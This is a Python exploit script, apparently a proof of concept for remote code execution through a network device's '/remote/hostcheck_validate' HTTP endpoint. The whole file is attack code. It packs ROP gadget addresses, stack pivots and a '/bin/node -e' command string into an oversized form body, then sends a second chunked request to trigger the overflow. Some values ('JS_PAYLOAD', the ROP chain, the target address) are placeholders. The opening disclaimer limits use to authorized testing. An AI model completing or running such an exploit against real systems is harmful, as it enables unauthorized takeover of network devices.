"""DISCLAIMER: For authorized security research only. Use only on systems you own or are explicitly authorized to test."""

import socket
import time

TARGET_HOST = "x.x.x.x"
PORT = 80

# Function to create a socket
def make_sock(target, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target, port))
    return sock

# Craft the payload
ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00"
getcwd_ptr = b"%70%62%2c%04%00%00%00%00"
pivot_1 = b"%52%f7%fd%00%00%00%00%00"  # push rdi; pop rsp; ret;
pivot_2 = b"%ac%c9%ab%02%00%00%00%00"  # add rsp, 0x2a0; pop rbx; pop r12; pop rbp; ret;
rop = b"%de%ad%be%ef"  # Example ROP chain

# Craft the form value
form_value = b""
form_value += b"B" * 11 + b"/bin/node\0" + b"B" * 6 + b"-e\0" + b"B" * 14 + b"JS_PAYLOAD"
form_value += b"B" * 438 + pivot_2 + getcwd_ptr
form_value += b"B" * 32 + pivot_1
form_value += b"B" * 168 + b"CALL_EXECL"
form_value += b"B" * 432 + ssl_do_handshake_ptr
form_value += b"B" * 32 + rop

# Craft the HTTP body
body = (b"B" * 1808 + b"=" + form_value + b"&") * 20

# Craft the HTTP request
data = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: " + TARGET_HOST.encode("utf-8") + b"\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n"
data += body

# Send the crafted request
ssock1 = make_sock(TARGET_HOST, PORT)
ssock1.sendall(data)
time.sleep(1)
ssock2 = make_sock(TARGET_HOST, PORT)
data = b"POST / HTTP/1.1\r\n"
data += b"Host: " + TARGET_HOST.encode("utf-8") + b"\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"\r\n"
data += b"0" * 4137 + b"\0"
data += b"A" * 1 + b"\r\n\r\n"
ssock2.sendall(data)